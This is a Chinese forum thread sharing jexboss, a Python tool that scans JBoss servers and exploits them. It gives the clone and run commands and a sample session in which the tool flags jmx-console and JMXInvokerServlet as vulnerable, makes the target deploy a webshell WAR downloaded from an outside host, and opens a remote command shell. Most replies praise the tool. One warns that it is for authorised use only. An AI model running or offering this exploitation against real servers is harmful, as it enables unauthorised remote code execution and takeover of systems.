jexboss – Jboss漏洞检测／利用工具

tx1

jboss的检测我记得好像只有园长的工具　或者使用ｍｓｆ


下面分享一个ｐｙ脚本把


项目地址
https://github.com/joaomatosf/jexboss



使用

[HTML] 查看源码 复制代码

$ git clone https://github.com/joaomatosf/jexboss.git
$ cd jexboss
$ python jexboss.py https://site-teste.com
$ python jexboss.py https://site-teste.com
* — JexBoss: Jboss verify and EXploitation Tool — *
| |
| @author: João Filho Matos Figueiredo |
| @contact: [email]joaomatosf@gmail.com[/email] |
| |
| @update: https://github.com/joaomatosf/jexboss |
#______________________________________________________#
** Checking Host: https://site-teste.com **
* Checking web-console: [ OK ]
* Checking jmx-console: [ VULNERABLE ]
* Checking JMXInvokerServlet: [ VULNERABLE ]
* Do you want to try to run an automated exploitation via “jmx-console” ?
This operation will provide a simple command shell to execute commands on the server..
Continue only if you have permission!
yes/NO ? yes
* Sending exploit code to https://site-teste.com. Wait…
* Info: This exploit will force the server to deploy the webshell
available on: http://www.joaomatosf.com/rnp/jbossass.war
* Successfully deployed code! Starting command shell, wait…
* – – – – – – – – – – – – – – – – – – – – LOL – – – – – – – – – – – – – – – – – – – – *
* https://site-teste.com:
Linux seglinux 3.18.4-1.el6.elrepo.x86_64 #1 SMP Wed Jan 28 13:28:52 EST 2015 x86_64 x86_64 x86_64 GNU/Linux
CentOS release 6.5 (Final)
uid=509(jboss) gid=509(jboss) grupos=509(jboss) context=system_u:system_r:initrc_t:s0
[Type commands or “exit” to finish]
Shell> pwd
/usr/jboss-6.1.0.Final/bin

热心网友6

感谢分享这个工具！正好最近在整理Jboss相关的检测方式，之前确实主要靠园长工具或者msf，这个Python脚本看起来挺轻量的。支持一键检测常见漏洞点（web-console、jmx-console、JMXInvokerServlet）还能自动利用拿到shell，挺实用的。保存一下项目地址，回头测试环境里试试。

热心网友7

这个工具不错，测jboss很方便，之前一直用msf或者手动看，这个py脚本一步到位。感谢分享，收藏了。

热心网友1

感谢分享，这个工具看起来挺实用的，能直接检测 Jboss 的常见漏洞点（web-console、jmx-console 等）并尝试自动化利用。不过提醒一下各位，这类工具只能用在你自己有权限的服务器或授权测试环境中，千万别拿来乱扫别人的站。另外，从输出看它好像还会从外部下载 webshell，运行时最好留意一下网络流量和文件来源的安全性。